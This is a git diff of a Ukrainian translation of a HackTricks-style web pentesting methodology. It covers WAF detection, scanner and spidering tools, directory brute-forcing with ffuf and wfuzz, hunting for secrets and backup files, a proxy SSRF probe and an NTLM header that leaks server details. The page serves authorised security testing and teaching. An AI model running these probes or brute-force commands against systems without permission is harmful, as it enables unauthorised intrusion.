-Шукайте **для** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md) +Шукати **для** [**вразливостей веб-застосунку** **версії**](../../generic-hacking/search-exploits.md) -### **Перевірте, чи є WAF** +### **Перевірити наявність WAF** - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f) - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html) -### Трюки для веб-технологій +### Трюки з веб-технологій -Деякі **tricks** для **finding vulnerabilities** у різних відомих **technologies**, що використовуються: +Деякі **трюки** для **знаходження вразливостей** у різних відомих **технологіях**, що використовуються: - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) - [**Apache**](apache.md) @@ -103,27 +103,26 @@ webanalyze -host https://google.com -crawl 2 - [**Sitecore**](sitecore/index.html) _Врахуйте, що **той самий домен** може використовувати **різні технології** на різних **портах**, **папках** та **піддоменах**._\ -Якщо веб-застосунок використовує будь-яку відому **технологію/платформу зі списку вище** або **будь-яку іншу**, не забудьте **пошукати в Інтернеті** нові трюки (і повідомте мені!). +Якщо веб-застосунок використовує будь-яку відому **технологію/платформу**, перераховану вище, або будь-яку іншу, не забувайте **шукати в Інтернеті** нові трюки (і повідомте мене!). -### Перевірка вихідного коду +### Source Code Review -Якщо **вихідний код** застосунку доступний на **github**, окрім виконання вами власного **White box test** додатку, є **деяка інформація**, яка може бути **корисною** для поточного **Black-Box testing**: - -- Чи існує **Change-log or Readme or Version** файл або щось із **version info accessible** через веб? -- Як і де зберігаються **credentials**? Чи є якийсь (доступний?) **file** з credentials (usernames or passwords)? -- Чи зберігаються **passwords** у **plain text**, **encrypted** або який **hashing algorithm** використовується? -- Чи використовується якийсь **master key** для шифрування чогось? Який **algorithm** використовується? -- Чи можете ви **отримати доступ до будь-якого з цих файлів**, експлуатуючи якусь вразливість? -- Чи є якась **цікава інформація в github** (вирішені й невирішені) **issues**? Або в **commit history** (можливо якийсь **password був доданий у старий commit**)? +Якщо **вихідний код** застосунку доступний на **github**, окрім виконання вами власного **White box test** застосунку, є **деяка інформація**, яка може бути **корисною** для поточного **Black-Box testing**: +- Чи є **Change-log or Readme or Version** файл або щось з **інформацією про версію**, доступне через web? +- Як і де зберігаються **облікові дані**? Чи є якийсь (доступний?) **файл** з обліковими даними (імена користувачів або паролі)? +- Чи зберігаються **паролі** у **plain text**, **зашифровані** або який **алгоритм хешування** використовується? +- Чи використовується якийсь **master key** для шифрування чогось? Який **алгоритм** використовується? +- Чи можна **отримати доступ до будь-якого з цих файлів**, експлуатуючи якусь вразливість? +- Чи є якась **цікава інформація в github** (вирішені та не вирішені) **issues**? Або в **commit history** (можливо якийсь **пароль** був доданий у старому коміті)? {{#ref}} code-review-tools.md {{#endref}} -### Автоматичні сканери +### Automatic scanners -#### Автоматичні сканери загального призначення +#### Універсальні автоматичні сканери ```bash nikto -h whatweb -a 4 @@ -135,9 +134,9 @@ nuclei -ut && nuclei -target # https://github.com/ignis-sec/puff (client side vulns fuzzer) node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ" ``` -#### CMS сканери +#### CMS scanners -Якщо використовується CMS, не забудьте **запустити сканер**, можливо знайдеться щось цікаве: +Якщо використовується CMS, не забудьте **run a scanner**, можливо знайдеться щось цікаве: [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\ [**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** вебсайти на предмет проблем безпеки. (GUI)\ @@ -150,45 +149,45 @@ wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> У цей момент ви вже повинні мати певну інформацію про веб-сервер, який використовує клієнт (якщо надано якісь дані), та кілька хитрощів, які слід пам'ятати під час тесту. Якщо вам пощастило, ви навіть знайшли CMS і запустили якийсь сканер. +> На цьому етапі ви повинні вже мати деяку інформацію про веб‑сервер, що використовується клієнтом (якщо надані дані), та кілька прийомів, які слід пам’ятати під час тесту. Якщо пощастить, ви навіть знайшли CMS і запустили сканер. -## Покрокове виявлення веб-застосунку +## Покрокова розвідка веб‑застосунку -> З цього моменту ми починаємо взаємодію з веб-застосунком. +> З цього моменту ми починаємо взаємодіяти з веб‑застосунком. ### Початкові перевірки -**Сторінки за замовчуванням з цікавою інформацією:** +**Типові сторінки з цікавою інформацією:** - /robots.txt - /sitemap.xml - /crossdomain.xml - /clientaccesspolicy.xml - /.well-known/ -- Перевірте також коментарі на основних та другорядних сторінках. +- Перевіряйте також коментарі на головних і другорядних сторінках. **Форсування помилок** -Веб-сервери можуть **поводитися непередбачувано**, коли їм надсилають дивні дані. Це може відкрити **вразливості** або призвести до **розкриття чутливої інформації**. +Веб‑сервери можуть **поводитися непередбачувано**, коли їм надсилають дивні дані. Це може відкрити **вразливості** або призвести до **розкриття конфіденційної інформації**. - Доступ до **фейкових сторінок** на кшталт /whatever_fake.php (.aspx,.html,.etc) -- **Додайте "\[]", "]]", and "\[["** у значення **cookie** та значення **параметрів**, щоб викликати помилки -- Сгенеруйте помилку, подавши вхід як **`/~randomthing/%s`** в **кінці** **URL** -- Спробуйте **різні HTTP Verbs**, наприклад PATCH, DEBUG або некоректні як FAKE +- **Додавайте "\[]", "]]", and "\[["** у **значення cookie** та **значення параметрів**, щоб створити помилки +- Генеруйте помилку, подавши вхід як **`/~randomthing/%s`** в **кінці URL** +- Спробуйте **різні HTTP Verbs** як PATCH, DEBUG або некоректні, наприклад FAKE #### **Перевірте, чи можете завантажувати файли (**[**PUT verb, WebDav**](put-method-webdav.md)**)** -Якщо ви виявите, що **WebDav** **увімкнено**, але у вас недостатньо прав для **uploading files** в кореневій папці, спробуйте: +Якщо ви виявите, що **WebDav** **увімкнено**, але у вас недостатньо дозволів для **завантаження файлів** в кореневу теку, спробуйте: - **Brute Force** облікових даних -- **Upload files** через WebDav у решту знайдених папок на сайті. Можливо, у вас є права завантажувати файли в інших папках. +- **Завантажити файли** через WebDav у решту знайдених папок на сайті. Можливо, у вас є дозволи на завантаження файлів в інших папках. -### **SSL/TLS уразливості** +### **SSL/TLS вразливості** -- Якщо додаток **не примушує використання HTTPS** у будь-якій частині, то він **вразливий до MitM** -- Якщо додаток **відправляє чутливі дані (паролі) через HTTP** — це критична вразливість. +- Якщо застосунок **не примушує використовувати HTTPS** в жодній частині, то він **вразливий до MitM** +- Якщо застосунок **надсилає чутливі дані (паролі) через HTTP**, це серйозна вразливість. -Використовуйте [**testssl.sh**](https://github.com/drwetter/testssl.sh) для перевірки **вразливостей** (в Bug Bounty програмах ці види вразливостей, ймовірно, не будуть прийняті) і використовуйте [**a2sv**](https://github.com/hahwul/a2sv) для повторної перевірки вразливостей: +Використовуйте [**testssl.sh**](https://github.com/drwetter/testssl.sh) щоб перевірити на **вразливості** (у Bug Bounty програмах, ймовірно, такого роду вразливості не будуть прийняті) та використайте [**a2sv** ](https://github.com/hahwul/a2sv)щоб перепровірити вразливості: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -197,60 +196,60 @@ joomlavs.rb #https://github.com/rastating/joomlavs sslscan sslyze --regular ``` -Information about SSL/TLS vulnerabilities: +Інформація про вразливості SSL/TLS: - [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/) - [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/) ### Spidering -Launch some kind of **spider** inside the web. The goal of the spider is to **find as much paths as possible** from the tested application. Therefore, web crawling and external sources should be used to find as much valid paths as possible. +Запустіть якийсь вид **spider** по веб-додатку. Мета spider — **знайти якомога більше шляхів** у тестованому застосунку. Тому для пошуку валідних шляхів слід використовувати web crawling та зовнішні джерела. -- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com). -- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, with LinkFider for JS files and Archive.org as external source. -- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, also indicates "juicy files". -- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. It also searches in Archive.org -- [**meg**](https://github.com/tomnomnom/meg) (go): This tool isn't a spider but it can be useful. You can just indicate a file with hosts and a file with paths and meg will fetch each path on each host and save the response. -- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider with JS rendering capabilities. However, it looks like it's unmaintained, the precompiled version is old and the current code doesn't compile -- [**gau**](https://github.com/lc/gau) (go): HTML spider that uses external providers (wayback, otx, commoncrawl) -- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): This script will find URLs with parameter and will list them. -- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider with JS rendering capabilities. -- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, with JS beautify capabilities capable of search new paths in JS files. It could be worth it also take a look to [JSScanner](https://github.com/dark-warlord14/JSScanner), which is a wrapper of LinkFinder. -- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): To extract endpoints in both HTML source and embedded javascript files. Useful for bug hunters, red teamers, infosec ninjas. -- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): A python 2.7 script using Tornado and JSBeautifier to parse relative URLs from JavaScript files. Useful for easily discovering AJAX requests. Looks like unmaintained. -- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Given a file (HTML) it will extract URLs from it using nifty regular expression to find and extract the relative URLs from ugly (minify) files. -- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Gather interesting information from JS files using several tools. -- [**subjs**](https://github.com/lc/subjs) (go): Find JS files. -- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Load a page in a headless browser and print out all the urls loaded to load the page. -- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool mixing several options of the previous tools -- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): A Burp extension to find path and params in JS files. -- [**Sourcemapper**](https://github.com/denandz/sourcemapper): A tool that given the .js.map URL will get you the beatified JS code -- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): This is a tool used to discover endpoints for a given target. -- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (also downloading the responses in the wayback and looking for more links -- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (even by filling forms) and also find sensitive info using specific regexes. -- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is an advance multi-feature GUI web security Crawler/Spider designed for cyber security professionals. -- [**jsluice**](https://github.com/BishopFox/jsluice) (go): It's a Go package and [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) for extracting URLs, paths, secrets, and other interesting data from JavaScript source code. -- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is a simple **Burp Suite extension** to **extract the paramters and endpoints** from the request to create custom wordlist for fuzzing and enumeration. -- [**katana**](https://github.com/projectdiscovery/katana) (go): Awesome tool for this. -- [**Crawley**](https://github.com/s0rg/crawley) (go): Print every link it's able to find. +- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder у JS файлах та зовнішні джерела (Archive.org, CommonCrawl.org, VirusTotal.com). +- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, з LinkFinder для JS файлів та Archive.org як зовнішнє джерело. +- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, також вказує "juicy files". +- [**evine** ](https://github.com/saeeddhqan/evine)(go): Інтерактивний CLI HTML spider. Також шукає в Archive.org +- [**meg**](https://github.com/tomnomnom/meg) (go): Цей інструмент не є spider'ом, але може бути корисним. Ви можете вказати файл з hosts і файл з paths, а meg завантажить кожен шлях на кожному хості та збереже відповіді. +- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider з можливістю рендерингу JS. Однак, схоже, що проект не підтримується, попередньо зібрана версія стара і поточний код не компілюється. +- [**gau**](https://github.com/lc/gau) (go): HTML spider, що використовує зовнішніх провайдерів (wayback, otx, commoncrawl). +- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Скрипт знайде URL з параметрами і виведе їх. +- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider з можливістю рендерингу JS. +- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider з можливістю JS beautify, здатний шукати нові шляхи в JS файлах. Варто також глянути на [JSScanner](https://github.com/dark-warlord14/JSScanner), який є обгорткою для LinkFinder. +- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Для витягування endpoint'ів з HTML та вбудованих javascript файлів. Корисно для bug hunters, red teamers, infosec ninjas. +- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Скрипт на python 2.7, що використовує Tornado і JSBeautifier для парсингу відносних URL з JavaScript файлів. Корисний для виявлення AJAX запитів. Схоже, що не підтримується. +- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Беручи файл (HTML), витягує URL за допомогою регулярних виразів, щоб знайти і витягти відносні URL з мінімізованих файлів. +- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Збирає цікаву інформацію з JS файлів, використовуючи кілька інструментів. +- [**subjs**](https://github.com/lc/subjs) (go): Знаходить JS файли. +- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Завантажує сторінку в headless browser і виводить всі URL, які були завантажені для рендерингу сторінки. +- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Інструмент для discovery вмісту, що поєднує декілька опцій попередніх інструментів. +- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Burp extension для пошуку шляхів та параметрів в JS файлах. +- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Інструмент, який за .js.map URL надає beautified JS код. +- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Інструмент для виявлення endpoint'ів для заданої цілі. +- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Виявляє посилання з wayback machine (також завантажуючи відповіді у wayback і шукаючи більше посилань). +- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Краулер (навіть з заповненням форм) і також знаходить чутливу інформацію за допомогою специфічних regex'ів. +- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite — розширений GUI web security Crawler/Spider для професіоналів з кібербезпеки. +- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Go package і [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) для витягування URL, шляхів, секретів та іншої цікавої інформації з JavaScript коду. +- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): Простий **Burp Suite extension** для **витягування параметрів та endpoint'ів** з запитів для створення кастомних wordlist'ів для fuzzing та enumeration. +- [**katana**](https://github.com/projectdiscovery/katana) (go): Чудовий інструмент для цього. +- [**Crawley**](https://github.com/s0rg/crawley) (go): Виводить кожне посилання, яке йому вдалося знайти. ### Brute Force directories and files -Start **brute-forcing** from the root folder and be sure to brute-force **all** the **directories found** using **this method** and all the directories **discovered** by the **Spidering** (you can do this brute-forcing **recursively** and appending at the beginning of the used wordlist the names of the found directories).\ -Tools: +Розпочніть **brute-forcing** з root каталогу і переконайтесь, що ви brute-force'ите **всі** **знайдені директорії**, використовуючи **цей метод**, а також усі директорії, **виявлені** під час **Spidering** (можна робити brute-forcing **рекурсивно**, додаючи на початок використаного wordlist імена знайдених директорій).\ +Інструменти: -- **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options. -- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search. -- [**Gobuster**](https://github.com/OJ/gobuster) (go): It allows auto-signed certificates, it **doesn't** have **recursive** search. +- **Dirb** / **Dirbuster** - Включені в Kali, **старі** (і **повільні**), але функціональні. Підтримують self-signed сертифікати та рекурсивний пошук. Надто повільні у порівнянні з іншими опціями. +- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Не дозволяє self-signed сертифікати, але** дозволяє рекурсивний пошук. +- [**Gobuster**](https://github.com/OJ/gobuster) (go): Підтримує self-signed сертифікати, але **не** має **рекурсивного** пошуку. - [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.** - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` - [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` -- [**uro**](https://github.com/s0md3v/uro) (python): This isn't a spider but a tool that given the list of found URLs will to delete "duplicated" URLs. -- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension to create a list of directories from the burp history of different pages -- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remove URLs with duplicated functionalities (based on js imports) -- [**Chamaleon**](https://github.com/iustin24/chameleon): It uses wapalyzer to detect used technologies and select the wordlists to use. +- [**uro**](https://github.com/s0md3v/uro) (python): Це не spider, але інструмент, який, беручи список знайдених URL, видаляє "дубльовані" URL. +- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension для створення списку директорій із історії Burp для різних сторінок. +- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Видаляє URL з дубльованою функціональністю (на основі js імпортів). +- [**Chamaleon**](https://github.com/iustin24/chameleon): Використовує Wappalyzer для визначення використовуваних технологій і підбору відповідних wordlist'ів. -**Recommended dictionaries:** +Рекомендовані словники: - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt) - [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) @@ -269,41 +268,41 @@ Tools: - _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._ +_Зверніть увагу, що щоразу, коли під час brute-forcing або spidering виявляється нова директорія, її слід Brute-Force'ити._ ### What to check on each file found -- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Find broken links inside HTMLs that may be prone to takeovers -- **File Backups**: Once you have found all the files, look for backups of all the executable files ("_.php_", "_.aspx_"...). Common variations for naming a backup are: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ You can also use the tool [**bfac**](https://github.com/mazen160/bfac) **or** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** -- **Discover new parameters**: You can use tools like [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **and** [**Param Miner**](https://github.com/PortSwigger/param-miner) **to discover hidden parameters. If you can, you could try to search** hidden parameters on each executable web file. +- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Знаходить биті посилання в HTML, які можуть бути піддатливими до takeover. +- **File Backups**: Після того як ви знайшли всі файли, шукайте бекапи виконуваних файлів ("_.php_", "_.aspx_"...). Поширені варіації іменування бекапів: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ Можна також використати інструмент [**bfac**](https://github.com/mazen160/bfac) **або** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** +- **Discover new parameters**: Можна використати інструменти як [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **та** [**Param Miner**](https://github.com/PortSwigger/param-miner) **для виявлення прихованих параметрів. За можливості намагайтесь шукати** приховані параметри в кожному виконуваному web файлі. - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) -- **Comments:** Check the comments of all the files, you can find **credentials** or **hidden functionality**. -- If you are playing **CTF**, a "common" trick is to **hide** **information** inside comments at the **right** of the **page** (using **hundreds** of **spaces** so you don't see the data if you open the source code with the browser). Other possibility is to use **several new lines** and **hide information** in a comment at the **bottom** of the web page. -- **API keys**: If you **find any API key** there is guide that indicates how to use API keys of different platforms: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) -- Google API keys: If you find any API key looking like **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik you can use the project [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) to check which apis the key can access. -- **S3 Buckets**: While spidering look if any **subdomain** or any **link** is related with some **S3 bucket**. In that case, [**check** the **permissions** of the bucket](buckets/index.html). +- **Comments:** Перевіряйте коментарі у всіх файлах — там можна знайти **credentials** або **приховану функціональність**. +- Якщо ви граєте в **CTF**, "поширений" трюк — **сховати** **інформацію** всередині коментарів праворуч на сторінці (використовуючи **сотні** пробілів, щоб не бачити дані при відкритті вихідного коду в браузері). Інша можливість — використати **декілька нових рядків** і **сховати інформацію** в коментарі в **низу** веб-сторінки. +- **API keys**: Якщо ви **знайдете API key**, є гайди, які показують як використовувати ключі для різних платформ: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) +- Google API keys: Якщо знайдете API key, що починається з **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik, можна використати проект [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) щоб перевірити, до яких API має доступ ключ. +- **S3 Buckets**: Під час spidering перевіряйте, чи будь-який **subdomain** або **посилання** повʼязані з якимись **S3 bucket**. У такому випадку [**перевірте** права доступу бакету](buckets/index.html). ### Special findings -**While** performing the **spidering** and **brute-forcing** you could find **interesting** **things** that you have to **notice**. +Під час виконання **spidering** та **brute-forcing** ви можете знайти **цікаві** **елементи**, які слід **зафіксувати**. -**Interesting files** +Interesting files -- Look for **links** to other files inside the **CSS** files. -- [If you find a _**.git**_ file some information can be extracted](git.md) -- If you find a _**.env**_ information such as api keys, dbs passwords and other information can be found. -- If you find **API endpoints** you [should also test them](web-api-pentesting.md). These aren't files, but will probably "look like" them. -- **JS files**: In the spidering section several tools that can extract path from JS files were mentioned. Also, It would be interesting to **monitor each JS file found**, as in some ocations, a change may indicate that a potential vulnerability was introduced in the code. You could use for example [**JSMon**](https://github.com/robre/jsmon)**.** -- You should also check discovered JS files with [**RetireJS**](https://github.com/retirejs/retire.js/) or [**JSHole**](https://github.com/callforpapers-source/jshole) to find if it's vulnerable. +- Шукайте **посилання** на інші файли всередині **CSS** файлів. +- [Якщо знайдете _**.git**_, можна витягти деяку інформацію](git.md) +- Якщо знайдете _**.env**_, можна знайти такі дані як api keys, паролі до БД та іншу інформацію. +- Якщо знайдете **API endpoints**, вам слід [також протестувати їх](web-api-pentesting.md). Це не файли, але вони, ймовірно, "виглядатимуть" як такі. +- **JS files**: У секції spidering згадувалось декілька інструментів для витягування шляхів з JS файлів. Також цікаво **моніторити кожен знайдений JS файл**, оскільки іноді зміна може вказувати на появу потенційної вразливості в коді. Можна використати, наприклад, [**JSMon**](https://github.com/robre/jsmon)**.** +- Варто також перевіряти знайдені JS файли за допомогою [**RetireJS**](https://github.com/retirejs/retire.js/) або [**JSHole**](https://github.com/callforpapers-source/jshole) на наявність вразливостей. - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) - **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) -- **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` -- On several occasions, you will need to **understand the regular expressions** used. This will be useful: [https://regex101.com/](https://regex101.com) or [https://pythonium.net/regex](https://pythonium.net/regex) -- You could also **monitor the files were forms were detected**, as a change in the parameter or the apearance f a new form may indicate a potential new vulnerable functionality. +- **TrainFuck**](https://github.com/taco-cy/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` +- У багатьох випадках вам знадобиться **розуміти регулярні вирази**, які використовуються. Це буде корисно: [https://regex101.com/](https://regex101.com) або [https://pythonium.net/regex](https://pythonium.net/regex) +- Також можна **моніторити файли, де були виявлені форми**, оскільки зміна параметрів або поява нової форми може вказувати на потенційну нову вразливість. **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** @@ -314,28 +313,28 @@ _Note that anytime a new directory is discovered during brute-forcing or spideri **502 Proxy Error** -If any page **responds** with that **code**, it's probably a **bad configured proxy**. **If you send a HTTP request like: `GET https://google.com HTTP/1.1`** (with the host header and other common headers), the **proxy** will try to **access** _**google.com**_ **and you will have found a** SSRF. +Якщо будь-яка сторінка відповідає цим кодом, ймовірно має місце **погано налаштований proxy**. **Якщо ви надішлете HTTP запит типу: `GET https://google.com HTTP/1.1`** (з Host header та іншими звичними заголовками), **proxy** спробує **доступитися** до _**google.com**_ **і ви знайдете** SSRF. **NTLM Authentication - Info disclosure** -If the running server asking for authentication is **Windows** or you find a login asking for your **credentials** (and asking for **domain** **name**), you can provoke an **information disclosure**.\ -**Send** the **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` and due to how the **NTLM authentication works**, the server will respond with internal info (IIS version, Windows version...) inside the header "WWW-Authenticate".\ -You can **automate** this using the **nmap plugin** "_http-ntlm-info.nse_". +Якщо сервер, що вимагає аутентифікацію, працює на **Windows** або ви знайдете логін, що просить ваші **credentials** (і просить **domain** **name**), ви можете спровокувати **витік інформації**.\ +**Надішліть** заголовок: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` і через особливості роботи **NTLM authentication**, сервер відповість внутрішньою інформацією (версія IIS, версія Windows...) в заголовку "WWW-Authenticate".\ +Можна автоматизувати це за допомогою nmap плагіна "_http-ntlm-info.nse_". **HTTP Redirect (CTF)** -It is possible to **put content** inside a **Redirection**. This content **won't be shown to the user** (as the browser will execute the redirection) but something could be **hidden** in there. +У редиректі можна **запхати контент**. Цей контент **не буде показаний користувачу** (оскільки браузер виконає редирект), але там може бути **схована** інформація. ### Web Vulnerabilities Checking -Now that a comprehensive enumeration of the web application has been performed it's time to check for a lot of possible vulnerabilities. You can find the checklist here: +Тепер, коли проведено комплексну енумерацію веб-застосунку, час перевірити багато можливих вразливостей. Чекліст доступний тут: {{#ref}} ../../pentesting-web/web-vulnerabilities-methodology.md {{#endref}} -Find more info about web vulns in: +Детальніше про web vulns: - [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist) - [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html) @@ -343,7 +342,7 @@ Find more info about web vulns in: ### Monitor Pages for changes -You can use tools such as [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) to monitor pages for modifications that might insert vulnerabilities. +Можна використовувати інструменти на кшталт [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) для моніторингу сторінок на предмет змін, які можуть вставити вразливості. ### HackTricks Automatic Commands ``` diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index 4a00287a0..2f8b5ac43 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -4,14 +4,14 @@ ## Вступ -Electron поєднує локальний 